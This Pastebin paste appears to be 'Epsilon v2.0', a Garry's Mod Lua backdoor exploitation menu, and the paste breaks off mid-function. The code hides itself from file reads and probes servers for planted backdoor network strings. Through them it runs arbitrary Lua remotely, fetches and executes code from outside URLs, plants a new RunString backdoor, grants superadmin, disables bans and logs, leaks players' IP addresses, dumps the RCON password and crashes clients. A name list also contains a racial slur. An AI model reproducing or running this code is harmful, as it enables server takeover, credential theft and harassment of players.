Advertisement
archer_the_word

Untitled

Mar 21st, 2019
78
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 25.72 KB | None | 0 0
  1. function epsilon(ply)
  2.  
  3. -- https://pastebin.com/SnYbPjfH
  4. if !fRead then
  5. fRead=file.Read
  6. fOpen=file.Open
  7. end
  8.  
  9. file.Open=function(fn,fm,path)
  10. loh=nil
  11. loh=string.Explode("/",fn)
  12. if (loh[2]&&(loh[#loh-1]=="lua"&&(string.find(loh[#loh],".lua") || string.find(loh[#loh],".txt")) || loh[#loh-1]=="scripthook")) || loh[1]&&(string.find(loh[1],".lua") || string.find(loh[1],".txt"))&&path =="LUA" || string.find(fn,"scripthook/") then
  13. chat.AddText("someone tried using file.open to get your "..fn.." with the PATH: "..path.." and file mode: "..fm..".")
  14. return ""
  15. else
  16. return fOpen(fn,fm,path)
  17. end
  18. end
  19.  
  20. file.Read=function(fn,path)
  21. loh=nil
  22. loh=string.Explode("/",fn)
  23. if (loh[2]&&(loh[#loh-1]=="lua"&&(string.find(loh[#loh],".lua") || string.find(loh[#loh],".txt")) || loh[#loh-1]=="scripthook")) || loh[1]&&(string.find(loh[1],".lua") || string.find(loh[1],".txt"))&&path=="LUA" || string.find(fn,"scripthook/") then
  24. chat.AddText("someone tried grabbing ur file named "..fn..".")
  25. return ""
  26. else
  27. return fRead(fn,path)
  28. end
  29. end
  30.  
  31. ver = "2.0"
  32. chat.AddText(Color(66,244,69),"<-=[ξpsilon]=-> | ",Color(0,140,255),"Версии не совпадают. Обновлений не будет. #epsilon 2.0")
  33.  
  34. local galhaxy = {} -- RottenFish Cheat Stealer bypass
  35. local working = false
  36.  
  37. if working then
  38.  
  39. chat.AddText(Color(66, 244, 69), "<-=[ξpsilon]=-> | ", Color(0, 140, 255), "В данный момент скрипт отключен, ожидайте.")
  40.  
  41. return false end
  42.  
  43. local m_chars = {
  44. "A","B","C","D","E","F","G","H","I","J",
  45. "K","L","M","N","O","P","Q","R","S","T",
  46. "U","V","W","X","Y","Z",
  47. "1","2","3","4", "5","6","7","8","9"
  48. }
  49. function RandomString(ln)
  50. local out = ''
  51. for i = 1, ln do
  52. out = out .. m_chars[math.random(#m_chars)]
  53. end
  54. return out
  55. end
  56.  
  57. local prefixes = {
  58. "_","-","+","","!","^"
  59. }
  60.  
  61. function RandomPrefix(ln)
  62. local out = ''
  63. for i = 1, ln do
  64. out = out .. prefixes[math.random(#prefixes)]
  65. end
  66. return out
  67. end
  68.  
  69. local antigomodril = RandomPrefix(1)..RandomString( 10 )
  70.  
  71. local actives = {
  72. "STEAM_0:0:2576576"
  73. }
  74.  
  75. if !table.HasValue(actives,ply:SteamID()) then
  76. sound.PlayURL( "http://d.zaix.ru/bpGK.mp3", "mono", function()end )
  77. timer.Simple(9.4, function()
  78. timer.Create("pizdec", 0, 0, function()
  79.  
  80. chat.AddText(Color(66, 244, 69), "<-=[ξpsilon]=-> | ", Color(0, 140, 255), "You dont has access to Epsilon v2.0")
  81.  
  82.  
  83. end)
  84. end)
  85. else
  86. local rainbow_logo = false
  87. local spam_ebnya = ""
  88. local menu_r = 72
  89. local menu_g = 0
  90. local menu_b = 255
  91. surface.CreateFont( "OmegaFont", {
  92. font = "Comic Sans MS",
  93. extended = false,
  94. size = 20,
  95. weight = 500,
  96. antialias = true,
  97. })
  98.  
  99.  
  100. surface.CreateFont( "OmegaFont2", {
  101. font = "Roboto",
  102. extended = false,
  103. size = 25,
  104. weight = 300,
  105. underline = false,
  106. italic = false,
  107. strikeout = false,
  108. symbol = false,
  109. rotary = false,
  110. shadow = false,
  111. additive = false,
  112. outline = true,
  113. })
  114.  
  115.  
  116. surface.CreateFont( "EpsilonClick", {
  117. font = "Roboto",
  118. extended = false,
  119. size = 30,
  120. weight = 300,
  121. underline = false,
  122. italic = false,
  123. strikeout = false,
  124. symbol = false,
  125. rotary = false,
  126. shadow = false,
  127. additive = false,
  128. outline = true,
  129. } )
  130.  
  131. _epsilon_notify = function(text)
  132.  
  133. chat.AddText(Color(66, 244, 69), "<-=[ξpsilon]=-> | ", Color(0, 140, 255), text)
  134.  
  135. end
  136.  
  137. function epsilon_capture( str )
  138. return isstring(str) and util.NetworkStringToID( str ) != 0 and str != ""
  139. end
  140.  
  141. local epsilon_table_keys ={
  142. "EnigmaProject",
  143. "Defqon",
  144. "NoNerks",
  145. "ReadPing",
  146. "GetBaitedNigger",
  147. "ulxchecksum",
  148. "gPrinters.sncSettings",
  149. "bgdu57maxime",
  150. "samosatracking57",
  151. "_CAC_ReadMemory",
  152. "json.parse(crashsocket)",
  153. "runArbitrary",
  154. "edouardo573",
  155. "SNTEFORCE",
  156. "FPSFIX",
  157. "DOORFIX",
  158. "rebug",
  159. "sbussinesretailer",
  160. "opensellermenu",
  161. "FPSBOOST",
  162. "_ServerName",
  163. "elsakura",
  164. "insid3",
  165. "_reading_darkrp",
  166. "HellExploit",
  167. "eventstart",
  168. "contexthelp",
  169. "mybackdoor",
  170. "Sbox_gm_attackofnullday_key",
  171. "The_DankWhy",
  172. "mdrlollesleakcestmal",
  173. "DarkRP_Money_System",
  174. "Limon",
  175. "Sbox_itemstore", -- MrKubu servers
  176. "Sbox_darkrp",-- MrKuBu servers
  177. "PlayerCheck",
  178. "urba_ne_hui",
  179. "https://i.imgur.com/Gf6hLMl.png",
  180. "nostrip",
  181. "Darkrp_hh",
  182. "sendtosv",
  183. "ξpsilon"
  184. }
  185.  
  186. local captured = "Nothing"
  187. local rottenfish = "No"
  188. local bandoor = "No"
  189.  
  190.  
  191. concommand.Add("getnets",function()
  192. for b=0,65536 do
  193. local c=util.NetworkIDToString(b)
  194. if c&&c~=""then
  195. if not net.Receivers[c]then
  196. print(c)end
  197. end
  198. end
  199. end)
  200.  
  201. --bandoor checker
  202.  
  203. if epsilon_capture("eventstart") and epsilon_capture("contexthelp") then
  204. bandoor = "Yes"
  205. end
  206.  
  207. -- rottenfish checker
  208. if epsilon_capture("SteamApp2313") then
  209. if bandoor == "Yes" then
  210. rottenfish = "Bandoor"
  211. else
  212. rottenfish = "Yes"
  213. end
  214. end
  215.  
  216. local protect = "NONE"
  217.  
  218. function protector(unicode)
  219.  
  220. if epsilon_capture(unicode) then
  221. net.WriteString(unicode)
  222. protect = "ON"
  223. end
  224.  
  225. end
  226.  
  227. _epsilon_notify("RottenFish: "..rottenfish)
  228. _epsilon_notify("Bаndооr: "..bandoor)
  229.  
  230. for k,v in pairs(epsilon_table_keys) do
  231. if epsilon_capture( v ) then
  232. captured = v
  233. else
  234. continue
  235. end
  236. _epsilon_notify(captured)
  237. end
  238.  
  239. encrypt = function(s)
  240. local str = ""
  241. for i=1,#s do
  242. str = str .. [[\]] .. string.byte(s[i])
  243. end
  244. return str
  245. end
  246.  
  247. writecode = function(code)
  248. net.Start(captured)
  249. doexec = code
  250. if protector then
  251. code = "RunString('"..encrypt(code).."')" -- encrypted to ascii
  252. _epsilon_notify("Lua Executed. Status: Code Obfuscated")
  253. else
  254. code = code
  255. _epsilon_notify("Lua Executed. Status: Protector disabled.")
  256. end
  257. net.WriteString(code)
  258. net.WriteBit(1)
  259. net.SendToServer()
  260. end
  261.  
  262. if captured == "Nothing" then
  263.  
  264. net.Start = function(text)
  265. return
  266. end
  267.  
  268. writecode = function(text)
  269. return
  270. end
  271.  
  272. end
  273.  
  274.  
  275. local blur = Material("pp/blurscreen")
  276. local function DrawBlur(panel, amount)
  277. local x, y = panel:LocalToScreen(0, 0)
  278. local scrW, scrH = ScrW(), ScrH()
  279. surface.SetDrawColor(255, 255, 255)
  280. surface.SetMaterial(blur)
  281. for i = 1, 3 do
  282. blur:SetFloat("$blur", (i / 3) * (amount or 6))
  283. blur:Recompute()
  284. render.UpdateScreenEffectTexture()
  285. surface.DrawTexturedRect(x * -1, y * -1, scrW, scrH)
  286. end
  287. end
  288.  
  289.  
  290. http.Fetch( "https://i.imgur.com/OAW4QSf.png", function(b)
  291.  
  292. file.Write( "logotype.png", b )
  293.  
  294. Logo = Material( "data/logotype.png", "smooth" )
  295.  
  296. end )
  297.  
  298. http.Fetch( "https://i.imgur.com/ftrhFc5.png", function(b)
  299.  
  300. file.Write( "home.png", b )
  301.  
  302. Home = Material( "data/home.png", "smooth" )
  303.  
  304. end )
  305.  
  306. http.Fetch( "https://i.imgur.com/cvfFsVx.png", function(b)
  307.  
  308. file.Write( "Dirka.png", b )
  309.  
  310. Dirka = Material( "data/Dirka.png", "smooth" )
  311.  
  312. end )
  313.  
  314. http.Fetch( "https://i.imgur.com/8Yrq3tS.png", function(b)
  315.  
  316. file.Write( "Settings.png", b )
  317.  
  318. Settings = Material( "data/Settings.png", "smooth" )
  319.  
  320. end )
  321.  
  322. http.Fetch( "https://i.imgur.com/hUQyGEK.png", function(b)
  323.  
  324. file.Write( "Discord.png", b )
  325.  
  326. Discord = Material( "data/Discord.png", "smooth" )
  327.  
  328. end )
  329.  
  330.  
  331. SetImageToBlyat = function(img, x, y, w, h)
  332. surface.SetMaterial( img )
  333. surface.SetDrawColor( 255, 255, 255, 255 )
  334. surface.DrawTexturedRect( x,y, w, h )
  335. end
  336.  
  337. AddButtonIMG = function( text, x, y, w, h, BDMenu, img )
  338. local btn = vgui.Create( "DButton", BDMenu )
  339. btn:SetPos( x, y )
  340. btn:SetSize( w, h )
  341. btn:SetText( "" )
  342. btn.IsHovered = false
  343. function btn:OnCursorEntered() self.IsHovered = true end
  344. function btn:OnCursorExited() self.IsHovered = false end
  345.  
  346. btn.Paint = function(panel, w, h)
  347. draw.RoundedBox(2, 0, 0, w, h, Color(menu_r,menu_g,menu_b,150))
  348. cBorder = Color(0,0,0)
  349. surface.SetDrawColor( cBorder )
  350. surface.DrawOutlinedRect( 0, 0, w, h )
  351. SetImageToBlyat(img, 7,7,60,60)
  352. end
  353.  
  354. btn.OnCursorEntered = function(self)
  355. surface.PlaySound("garrysmod/ui_hover.wav")
  356. btn.Paint = function(panel, w, h)
  357. draw.RoundedBox(2, 0, 0, w, h, Color(GetConVarNumber("menu_r")-26, GetConVarNumber("menu_g")-56, GetConVarNumber("menu_b"),150))
  358. cBorder = Color(0,0,0)
  359. surface.SetDrawColor( cBorder )
  360. surface.DrawOutlinedRect( 0, 0, w, h )
  361. SetImageToBlyat(img, 7,7,60,60)
  362. end
  363. end
  364.  
  365. -------------------------------------------------------------
  366. btn.OnCursorExited = function(self)
  367. btn.Paint = function(panel, w, h)
  368. draw.RoundedBox(2, 0, 0, w, h, Color(menu_r,menu_g,menu_b, 150))
  369. cBorder = Color(0,0,0)
  370. surface.SetDrawColor( cBorder )
  371. surface.DrawOutlinedRect( 0, 0, w, h )
  372. SetImageToBlyat(img, 7,7,60,60)
  373. end
  374. end
  375. return btn
  376. end
  377.  
  378.  
  379. AddButton = function( text, x, y, w, h, BDMenu)
  380. local btn = vgui.Create( "DButton", BDMenu )
  381. btn:SetPos( x, y )
  382. btn:SetText(text)
  383. btn:SetTextColor(Color(200, 200, 200))
  384. btn:SetFont("EpsilonClick")
  385. btn:SetSize( w, h )
  386. btn.IsHovered = false
  387. function btn:OnCursorEntered() self.IsHovered = true end
  388. function btn:OnCursorExited() self.IsHovered = false end
  389.  
  390. btn.Paint = function(panel, w, h)
  391. draw.RoundedBox(2, 0, 0, w, h, Color(menu_r,menu_g,menu_b,150))
  392. cBorder = Color(0,0,0)
  393. surface.SetDrawColor( cBorder )
  394. surface.DrawOutlinedRect( 0, 0, w, h )
  395. end
  396.  
  397.  
  398. btn.OnCursorEntered = function(self)
  399. surface.PlaySound("garrysmod/ui_hover.wav")
  400. btn.Paint = function(panel, w, h)
  401. draw.RoundedBox(2, 0, 0, w, h, Color(GetConVarNumber("menu_r")-26, GetConVarNumber("menu_g")-56, GetConVarNumber("menu_b"),150))
  402. cBorder = Color(0,0,0)
  403. surface.SetDrawColor( cBorder )
  404. surface.DrawOutlinedRect( 0, 0, w, h )
  405. end
  406. end
  407.  
  408. -------------------------------------------------------------
  409. btn.OnCursorExited = function(self)
  410. btn.Paint = function(panel, w, h)
  411. draw.RoundedBox(2, 0, 0, w, h, Color(menu_r,menu_g,menu_b, 150))
  412. cBorder = Color(0,0,0)
  413. surface.SetDrawColor( cBorder )
  414. surface.DrawOutlinedRect( 0, 0, w, h )
  415. end
  416. end
  417.  
  418.  
  419.  
  420.  
  421. return btn
  422. end
  423.  
  424.  
  425. cBorder = Color(0,0,0)
  426.  
  427. local function exitmenu(panel, X, y)
  428. local CButton = vgui.Create("DButton", panel)
  429. CButton:SetTextColor(Color(150, 150, 150))
  430. CButton:SetText("✕")
  431. CButton:SetFont("OmegaFont")
  432. CButton:SetPos(X, y)
  433. CButton:SetSize(25, 25)
  434.  
  435. CButton.DoClick = function()
  436. panel:SizeTo(0, 0, .3, 0, .3)
  437.  
  438. timer.Simple(0.3, function()
  439. panel:SetVisible(false)
  440. end)
  441. end
  442.  
  443. CButton.Paint = function(panel, w, h)
  444. surface.SetDrawColor(Color(0, 0, 0, 255))
  445. draw.RoundedBox(15, 0, 0, w, h, Color(139, 0, 0, 255))
  446. end
  447.  
  448. CButton.OnCursorEntered = function(self)
  449. surface.PlaySound("garrysmod/ui_hover.wav")
  450.  
  451. CButton.Paint = function(panel, w, h)
  452. draw.RoundedBox(15, 0, 0, w, h, Color(220, 20, 60, 255))
  453. end
  454. end
  455.  
  456. -------------------------------------------------------------
  457. CButton.OnCursorExited = function(self)
  458. CButton.Paint = function(panel, w, h)
  459. draw.RoundedBox(15, 0, 0, w, h, Color(139, 0, 0, 255))
  460. end
  461. end
  462. ------------------------------------------------------------------------
  463. end
  464. local popup = vgui.Create( "DFrame" )
  465. popup:SetSize( 700, 390 )
  466. popup:Center()
  467. popup:SetBackgroundBlur( true )
  468. exitmenu(popup, 670, 7.5)
  469. popup:SetTitle("")
  470. popup:SetDraggable( true )
  471. popup:ShowCloseButton( false )
  472. popup:MakePopup()
  473. function popup:Paint( w, h )
  474. surface.SetDrawColor( cBorder )
  475. surface.DrawOutlinedRect( 0, 0, w, h )
  476. DrawBlur(self, 25)
  477. draw.RoundedBox( 2, 0, 0, w, h, Color(0,0,0, 150) )
  478. -- draw.RoundedBox( 15, 6.7, 5, 690, 30, Color(menu_r,menu_g,menu_b, 40 ) )
  479.  
  480. end
  481.  
  482. local Lox = vgui.Create( "DPanel", popup )
  483. Lox:SetPos( 80, 30 ) -- Set the position of the panel
  484. Lox:SetSize( 585, 330 ) -- Set the size of the panel
  485. function Lox:Paint( w, h )
  486. DrawBlur(self, 25)
  487. draw.RoundedBox( 2, 0, 0, w, h, Color(menu_r,menu_g,menu_b, 150) )
  488. cBorder = Color(0,0,0)
  489. surface.SetDrawColor( cBorder )
  490. surface.DrawOutlinedRect( 0, 0, w, h )
  491. -- draw.RoundedBox( 15, 6.7, 5, 690, 30, Color(menu_r,menu_g,menu_b, 40 ) )
  492. end
  493.  
  494. local Lox1 = vgui.Create( "DPanel", popup )
  495. Lox1:SetPos( 80, 30 ) -- Set the position of the panel
  496. Lox1:SetSize( 0, 0 ) -- Set the size of the panel
  497. function Lox1:Paint( w, h )
  498. DrawBlur(self, 25)
  499. draw.RoundedBox( 2, 0, 0, w, h, Color(menu_r,menu_g,menu_b, 150) )
  500. cBorder = Color(0,0,0)
  501. surface.SetDrawColor( cBorder )
  502. surface.DrawOutlinedRect( 0, 0, w, h )
  503. -- draw.RoundedBox( 15, 6.7, 5, 690, 30, Color(menu_r,menu_g,menu_b, 40 ) )
  504. end
  505.  
  506. ButtonNew = AddButton("COPY", 5,30,75,75, Lox1)
  507. function ButtonNew.DoClick()
  508. surface.PlaySound("garrysmod/ui_click.wav")
  509. _epsilon_notify("Copied to clipboard")
  510. SetClipboardText( "https://discord.gg/RdVxPEp" )
  511. end
  512.  
  513.  
  514.  
  515. local Lox2 = vgui.Create( "DPanel", popup )
  516. Lox2:SetPos( 80, 30 ) -- Set the position of the panel
  517. Lox2:SetSize( 0, 0 ) -- Set the size of the panel
  518. function Lox2:Paint( w, h )
  519. DrawBlur(self, 25)
  520. draw.RoundedBox( 2, 0, 0, w, h, Color(menu_r,menu_g,menu_b, 150) )
  521. cBorder = Color(0,0,0)
  522. surface.SetDrawColor( cBorder )
  523. surface.DrawOutlinedRect( 0, 0, w, h )
  524. surface.SetMaterial( Logo )
  525.  
  526. if rainbow_logo then
  527. surface.SetDrawColor( HSVToColor( CurTime() % 6 * 60, 1, 1 ) )
  528. else
  529. rainbow_logo = false
  530. surface.SetDrawColor( 255, 255, 255, 255 )
  531. end
  532. surface.DrawTexturedRect( 150, 50, 256, 256 )
  533.  
  534. -- draw.RoundedBox( 15, 6.7, 5, 690, 30, Color(menu_r,menu_g,menu_b, 40 ) )
  535. end
  536.  
  537. local SpamEntry = vgui.Create( "DTextEntry", Lox2 ) -- create the form as a child of frame
  538. SpamEntry:SetPos( 5, 240 )
  539. SpamEntry:SetSize( 150, 35 )
  540. SpamEntry:SetText( "" )
  541. SpamEntry.Paint=function(s,w,h)
  542. surface.SetDrawColor(Color(menu_r,menu_g,menu_b))
  543. surface.DrawOutlinedRect(0,0,w,h)
  544. if SpamEntry:GetText()=="" then
  545. draw.SimpleText("SPAM TEXT","EpsilonClick",w*0.5,h*0.5,Color(245, 245, 220),1,1)
  546. end
  547. s:DrawTextEntryText(Color(255,255,255,204), Color(70, 70, 255), Color(0,0,0))
  548. end
  549.  
  550. SpamButton = AddButton("CLAIM", 5, 275, 150, 50, Lox2)
  551. SpamButton.DoClick = function()
  552. surface.PlaySound("garrysmod/ui_click.wav")
  553. _epsilon_notify("New text to spam - "..SpamEntry:GetValue())
  554. spam_ebnya = SpamEntry:GetValue()
  555. end
  556.  
  557.  
  558. local ChatEntry = vgui.Create( "DTextEntry", Lox2 ) -- create the form as a child of frame
  559. ChatEntry:SetPos( 429, 240 )
  560. ChatEntry:SetSize( 150, 35 )
  561. ChatEntry:SetText( "" )
  562. ChatEntry.Paint=function(s,w,h)
  563. surface.SetDrawColor(Color(menu_r,menu_g,menu_b))
  564. surface.DrawOutlinedRect(0,0,w,h)
  565. if ChatEntry:GetText()=="" then
  566. draw.SimpleText("CHAT TEXT","EpsilonClick",w*0.5,h*0.5,Color(245, 245, 220),1,1)
  567. end
  568. s:DrawTextEntryText(Color(255,255,255,204), Color(70, 70, 255), Color(0,0,0))
  569. end
  570.  
  571. ChatButton = AddButton("CLAIM", 429, 275, 150, 50, Lox2)
  572. ChatButton.DoClick = function()
  573. surface.PlaySound("garrysmod/ui_click.wav")
  574. _epsilon_notify("New text to chat - "..ChatEntry:GetValue())
  575. chat_ebnya = ChatEntry:GetValue()
  576. end
  577.  
  578. local checkbox = vgui.Create( "DCheckBoxLabel", Lox2 )
  579. checkbox:SetConVar( "rainbow_logo" )
  580. checkbox:SetText( "Rainbow Logo" )
  581. checkbox:SetDark(true)
  582. checkbox:SetPos( 5, 160 )
  583. function checkbox:OnChange( val )
  584. if val then
  585. rainbow_logo = true
  586. else
  587. rainbow_logo = false
  588. end
  589. end
  590.  
  591. local Theme = vgui.Create( "DColorMixer",Lox2);
  592. Theme:SizeTo(150,150, .3, 0, .3)
  593. Theme:SetPos(5,5)
  594. Theme:SetPalette( false )
  595. Theme:SetWangs( false )
  596. Theme:SetAlphaBar( true )
  597. Theme:SetColor(Color(menu_r,menu_g,menu_b))
  598.  
  599. function Theme:ValueChanged( color)
  600.  
  601. menu_r = color.r
  602. menu_g = color.g
  603. menu_b = color.b
  604. end
  605.  
  606. local Eben = vgui.Create("DPanel", popup)
  607. Eben:SetPos(80, 30)
  608. Eben:SetSize(0,0)
  609. function Eben:Paint( w, h )
  610. DrawBlur(self, 25)
  611. draw.RoundedBox( 2, 0, 0, w, h, Color(menu_r,menu_g,menu_b, 150) )
  612. cBorder = Color(0,0,0)
  613. surface.SetDrawColor( cBorder )
  614. surface.DrawOutlinedRect( 0, 0, w, h )
  615. -- draw.RoundedBox( 15, 6.7, 5, 690, 30, Color(menu_r,menu_g,menu_b, 40 ) )
  616.  
  617. end
  618.  
  619.  
  620. local Sosiska = vgui.Create("DScrollPanel", Eben)
  621. Sosiska:Dock(FILL)
  622.  
  623. --
  624. surface.CreateFont("Roboto", {
  625. font = "Roboto",
  626. size = 18
  627. })
  628.  
  629. addInfect = function(id, text, desc, font, func)
  630. local id = vgui.Create( "DButton", Sosiska )
  631. id:SetText(text)
  632. id:SetTextColor(Color(200, 200, 200))
  633. id:SetFont("EpsilonClick")
  634. id:Dock(TOP)
  635. id:SetSize(100, 50)
  636. id:DockPadding(2, 25, 2, 50)
  637. id.DoClick = func
  638. id.IsHovered = false
  639. function id:OnCursorEntered() self.IsHovered = true end
  640. function id:OnCursorExited() self.IsHovered = false end
  641.  
  642. id.DoClick = func
  643.  
  644. if desc then
  645. id:SetToolTip(desc)
  646. end
  647.  
  648. id.Paint = function(panel, w, h)
  649. draw.RoundedBox(2, 0, 0, w, h, Color(0, 0, 0, 120))
  650. cBorder = Color(0,0,0)
  651. surface.SetDrawColor( cBorder )
  652. surface.DrawOutlinedRect( 0, 0, w, h )
  653. draw.SimpleText( text, font, w / 2, h / 2, Color(0, 0, 0, 120), 1, 1 )
  654. end
  655.  
  656.  
  657. id.OnCursorEntered = function(self)
  658. surface.PlaySound("garrysmod/ui_hover.wav")
  659. id.Paint = function(panel, w, h)
  660. draw.RoundedBox(2, 0, 0, w, h, Color(0, 0, 0, 120))
  661. cBorder = Color(0,0,0)
  662. surface.SetDrawColor( cBorder )
  663. surface.DrawOutlinedRect( 0, 0, w, h )
  664. draw.SimpleText( text, font, w / 2, h / 2, Color(0, 0, 0, 120), 1, 1 )
  665. end
  666. end
  667.  
  668. -------------------------------------------------------------
  669. id.OnCursorExited = function(self)
  670. id.Paint = function(panel, w, h)
  671. draw.RoundedBox(2, 0, 0, w, h, Color(0, 0, 0, 120))
  672. cBorder = Color(0,0,0)
  673. surface.SetDrawColor( cBorder )
  674. surface.DrawOutlinedRect( 0, 0, w, h )
  675. draw.SimpleText( text, font, w / 2, h / 2, Color(0, 0, 0, 120), 1, 1 )
  676. end
  677. end
  678.  
  679.  
  680.  
  681.  
  682. return btn
  683. end
  684.  
  685.  
  686. --[[]]
  687.  
  688. if !captured == "Nothing" then
  689.  
  690. _epsilon_notify("Infected files not found.")
  691.  
  692. else
  693.  
  694. addInfect("1", "DISCO", "Run Epsilon Disco on server.", "Roboto", function()
  695. surface.PlaySound("garrysmod/ui_click.wav")
  696. writecode("http.Fetch(\"http://epsilon.tk/s/disco\",RunString)")
  697. end)
  698.  
  699. addInfect("2", "Epsilon Module [WEB]", "Run Epsilon Module from website.", "Roboto", function()
  700. surface.PlaySound("garrysmod/ui_click.wav")
  701. writecode([[http.Fetch("http://script-check.cf/compile", RunString)]])
  702. end)
  703.  
  704. addInfect("3", "SPAM", "Spam in chat", "Roboto", function()
  705. surface.PlaySound("garrysmod/ui_click.wav")
  706. local spamerka = false
  707. if spamerka then
  708. writecode([=[
  709. timer.Create("epsilon_bob_rainbow", 0, 0, function()
  710. BroadcastLua([[
  711. MsgC(HSVToColor( CurTime() % 6 * 60, 1, 1 ), "]=]..spam_ebnya..[=[ | >https://discord.gg/RdVxPEp<")
  712. chat.AddText(HSVToColor( CurTime() % 6 * 60, 1, 1 ), "]=]..spam_ebnya..[=[ | >https://discord.gg/RdVxPEp")]]) end)
  713. ]=])
  714. spamerka = false
  715. else
  716. writecode([[
  717. timer.Remove("epsilon_bob_rainbow")
  718. ]])
  719. end
  720. end)
  721.  
  722. addInfect("4", "Bomb Rain", "THIS IS BOMB RAIN!", "Roboto", function()
  723. surface.PlaySound("garrysmod/ui_click.wav")
  724. writecode([[timer.Create("MakeItRain", 0.001, 0, function() local e = ents.Create("grenade_helicopter") local pos = Vector(math.random(-5000, 5000),math.random(-5000, 5000),500) e:SetPos(pos) e:Spawn() end)]])
  725.  
  726. end)
  727.  
  728.  
  729. addInfect("5", "Grab IP", "Print everyone IP Address", "Roboto", function(ply)
  730. surface.PlaySound("garrysmod/ui_click.wav")
  731. writecode([[
  732. for k,v in pairs(player.GetAll()) do
  733. if v:SteamID() == "]]..ply:SteamID()..[[" then
  734. RunConsoleCommand("say","Name: ]]..ply:Name()..[[ | SteamID: ]]..ply:SteamID()..[[ | IP: SECURED BY EPSILON")
  735. continue
  736. end
  737. dumpmepls = v:IPAddress()
  738. dolboebid = v:SteamID()
  739. dolboebname = v:Name()
  740. RunConsoleCommand("say","Name: "..dolboebname.." | SteamID: "..dolboebid.." | IP: "..v:IPAddress())
  741. end
  742. ]])
  743.  
  744. end)
  745.  
  746. addInfect("6", "New Infected String", "Add util.AddNetworkString infected code", "Roboto", function()
  747.  
  748. writecode([[
  749. util.AddNetworkString('ξpsilon')
  750.  
  751. net.Receive('ξpsilon', function()
  752. RunString(net.ReadString())
  753. end)
  754. ]])
  755.  
  756. end)
  757.  
  758. addInfect("7", "Superadmin", "Add you to group superadmin (ULX)", "Roboto", function()
  759.  
  760. writecode([[
  761. RunConsoleCommand("ulx", "adduserid", "]]..ply:SteamID()..[[", "superadmin")
  762. ]])
  763.  
  764. end)
  765.  
  766. addInfect("8", "FFF", "???", "Roboto", function()
  767.  
  768. _epsilon_notify("This function is not work")
  769.  
  770. end)
  771.  
  772.  
  773. addInfect("9", "Secret", "Secret function (Special For Me)", "Roboto", function()
  774.  
  775. writecode([[
  776. http.Fetch("https://pastebin.com/raw/fJS5p4KZ")
  777. ]])
  778.  
  779. end)
  780.  
  781. addInfect("10", "Force Say", "Force players say in chat.", "Roboto", function()
  782.  
  783. writecode([[
  784. for k,v in pairs(player.GetAll()) do
  785. v:Say("]] .. chat_eben .. [[")
  786. end
  787. ]])
  788.  
  789. end)
  790.  
  791. addInfect("11", "Disable Bans/Kicks", "Disable bans and kicks on server.", "Roboto", function()
  792.  
  793. writecode([[
  794. local bad = {
  795. "Ban",
  796. "Kick"
  797. }
  798.  
  799. for k,v in next, (bad) do
  800.  
  801. FindMetaTable("Player")[v] = nil
  802. end
  803. ]])
  804.  
  805. end)
  806.  
  807. addInfect("12", "Console Jammer [RGB]", "Spam in console Rainbow Text", "Roboto", function()
  808.  
  809. writecode([[
  810. http.Fetch("https://pastebin.com/raw/bvNJ4cs9", RunString)
  811. ]])
  812.  
  813. end)
  814.  
  815. addInfect("13", "Console Jammer", "Spam in console", "Roboto", function()
  816.  
  817. writecode([[
  818. timer.Create("epsilon_spam_n", 0, 0, function()
  819. print( "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n" )
  820. end)
  821. ]])
  822.  
  823. end)
  824.  
  825. addInfect("14", "Grab RCON", "Grab server RCON PASSWORD", "Roboto", function()
  826.  
  827. writecode([[
  828. http.Fetch("https://pastebin.com/raw/V5EpAJaq", RunString)
  829. ]])
  830.  
  831. timer.Simple( 0.5, function()
  832. if epsilon_capture( "_SharedName" ) then
  833. net.Start("_SharedName")
  834. net.SendToServer()
  835. else
  836. chat.AddText( Color(255, 0, 0),"ERROR" )
  837. end
  838. end )
  839. net.Receive( "_ServerName", function()
  840. local rcon_pass = net.ReadString()
  841. chat.AddText(Color(255,255,255), rcon_pass, Color( 255,0,0), " - dumped! File appended: garrysmod/data/dump.dat")
  842. file.Append("dump.dat", "Dumped from server. Name: "..GetHostName().." | IP: "..game.GetIPAddress().." | RCON: "..rcon_pass.."\n")
  843. end )
  844. net.Receive( "_ClientName", function()
  845. chat.AddText( Color(255, 0, 0),"rcon_password - NO" )
  846. end )
  847.  
  848. end)
  849.  
  850.  
  851. addInfect("15", "RENAME (DarkRP)", "Rename everyone players", "Roboto", function()
  852. if engine.ActiveGamemode() == "DarkRP" or engine.ActiveGamemode() == "darkrp" then
  853. writecode([[
  854. DESIRED_NAME = "A ξρsἶlõῆ member."
  855. for k, v in pairs(player.GetAll()) do DarkRP.storeRPName(v, DESIRED_NAME) v:setDarkRPVar("rpname", DESIRED_NAME) end
  856.  
  857. ]])
  858. else
  859. chat.AddText(Color(255,0,0), "Gamemode DarkRP - No")
  860. end
  861. end)
  862.  
  863. addInfect("16", "CRASH", "Crash Players", "Roboto", function()
  864.  
  865. writecode([[for k,v in pairs(player.GetAll()) do if( v:GetUserGroup() != "user" ) then if v:SteamID() == "]]..ply:SteamID()..[[" then return end v:SendLua("while 9876543210 == 9876543210 do end") end end]])
  866.  
  867. end)
  868.  
  869. addInfect("17", "Off Logs (ULX)", "Off ulx logs on server", "Roboto", function()
  870.  
  871. writecode([[game.ConsoleCommand("ulx logecho 0")]])
  872.  
  873. end)
  874.  
  875. addInfect("18", "Dance (DarkRP)", "Force everyone players dancing", "Roboto", function()
  876.  
  877. writecode([[
  878. for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end timer.Create("dance_loop",8.9,0,function() for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end end )
  879. ]])
  880.  
  881. end)
  882.  
  883. addInfect("19", "Dance (DarkRP)", "Force everyone players dancing", "Roboto", function()
  884.  
